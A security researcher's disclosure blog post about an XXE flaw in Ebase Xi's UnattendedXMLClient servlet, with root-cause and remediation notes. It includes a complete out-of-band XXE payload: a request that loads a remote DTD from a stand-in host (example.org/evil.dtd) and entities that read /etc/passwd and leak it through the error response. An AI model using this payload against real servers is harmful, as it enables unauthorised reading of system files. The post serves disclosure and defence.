Ebase Xi - Unsafe by Default - XXE

In my previous blog post I questioned the safety of the default configuration of Ebase Xi. I knew then that something was wrong as I had already found and reported two vulnerabilities to Ebase. But nothing happened. On the 6th of march, much to my surprise, I got an official Ebase security alert informing me that 'All Ebase Servers are vulnerable to XXE attacks'. Which was one of the two issues I originally reported. Now that its public knowledge you can read this post for full details.

In its essence an XML eXternal Entity (XXE) vulnerability is caused by an unconfigured or incorrectly configured XML parser. Owasp has a nice page on it. But let's start at the beginning.

What are XML eXternal Entities?


An XML Entity is a name for a character or series of characters in an XML document. A common example is the HTML non breaking space entity   which represents the Unicode character 0x00A0. External entities have their contents stored in some external resource such as a file or webpage. You can declare your own entities in the header of the XML document as part of a DTD. When the XML is parsed the entities are replaced by the contents they represent. So if you would reference file:///etc/passwd as an entity on a Linux system the entity would be replaced by the contents of that file. How interesting ;)

Unfortunately having the ability to manipulate the XML input file won't allow you to ex-filtrate any data (you can try a billion laughs attack with it though). For that you will need some part of the request document rendered back into the response document.

The UnattendedXMLClient servlet in Ebase Xi does this with the name of the form. A typical request looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<UFSFormRequest><Form id="SOME_FORM_ID"></Form></UFSFormRequest>

If the form does not exist in the Ebase system you'll get the following error message:
<?xml version="1.0" encoding="UTF-8"?>
<UFSFormResponse>
<Form id="SOME_FORM_ID" status="System Error">
<Error>Form not found in the repository: SOME_FORM_ID</Error>
</Form>
</UFSFormResponse>

The name of the form is repeated in the response (twice!). So if we could put an entity in the id attribute referencing /etc/passwd the form id would be replaced with the contents of that file and it will be rendered in the response document as the form won't exist. File ex-filtrated. There is one catch though. External entities are not allowed in attribute values. Or are they?

How to put an external entity in an attribute.


In their 2013 talk 'XML Out-of-Band Data Retrieval' Timur Yunusov and Alexey Osipov described an ingenious way of putting an external entity into an attribute by having an external entity define an internal entity containing the contents of the file.

In the following example you see a slightly modified version of the UFSFormRequest from before. I've added a DOCTYPE declaration that includes a remote entity from example.org. This requires that Ebase server has access to the internet, which is commonly the case. Immediately thereafter I use that entity, so any contents of evil.dtd are placed there.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE UFSFormRequest [
<!ENTITY % remote SYSTEM "http://example.org/evil.dtd">
%remote;
%param1;
]>
<UFSFormRequest><Form id="&internal;"></Form></UFSFormRequest>

The contents of the external DTD are:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

Two new entities are defined, first the payload, which will hold the contents of the file we're interested in. Second param1 which holds .. another entity declaration as a string! First that string gets processed and %payload; will be replaced with the contents of the file. When the %param1; entity is processed in the request document it will be replaced by a new internal entity declaration which holds the contents of the file. Finally, in the actual xml document &internal; will be replaced by the contents of the file. So now we have assembled the following request on the server:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE UFSFormRequest [
<!ENTITY % remote SYSTEM "http://example.org/evil.dtd">
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
<!ENTITY internal 'root:x:0:0:root:/root:/bin/bash'>
]>
<UFSFormRequest><Form id="root:x:0:0:root:/root:/bin/bash"></Form></UFSFormRequest>

Obviously the form does not exist, Ebase will send an error response quoting the form name and so we obtain the contents of the file:
<?xml version="1.0" encoding="UTF-8"?>
<UFSFormResponse>
<Form id="root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin " status="System Error">
<Error>Form not found in the repository: ROOT:X:0:0:ROOT:/ROOT:/BIN/BASH BIN:X:1:1:BIN:/BIN:/SBIN/NOLOGIN </Error>
</Form>
</UFSFormResponse>

Root cause analysis


The classpath of the Ebase server reveals jdom-1.0.jar, which is an (old!) api-wrapper for xml parsing. It defaults to the XML parser provided by the Java Runtime Environment, which for Java 6 and later is Xerces. By default the Xerces parser resolves external entities.

Resolution


In their Security Alert Ebase recommends to remove the servlets you don't need from your web.xml and if you do need the servlet give it an obscure path. Removing components you don't need is a good practice. Obscuring names is less so but may work for a while. Also, if you have an web application firewall configure it to block outside access to those urls.

Ebase promised a fix in 4.5.4 which, finally, has appeared. If you have the source code, fixing the XML parser configuration is simple, you need to disable doctype declarations or if that is not possible, disable external entities (both the parameter and general forms). Read the Owasp page for full details.

Conclusion


Xml eXternal Entity vulnerabilities are a common flaw in applications that process XML. It becomes a risk when XML can be received from unverified outside sources. The default configuration of Ebase Xi exposes 3 of those endpoints. You can check if you're vulnerable using the method outlined in this post. That really leaves only one question: what did Ebase do with the other security issue that I have reported? Let's hope I can write about that soon!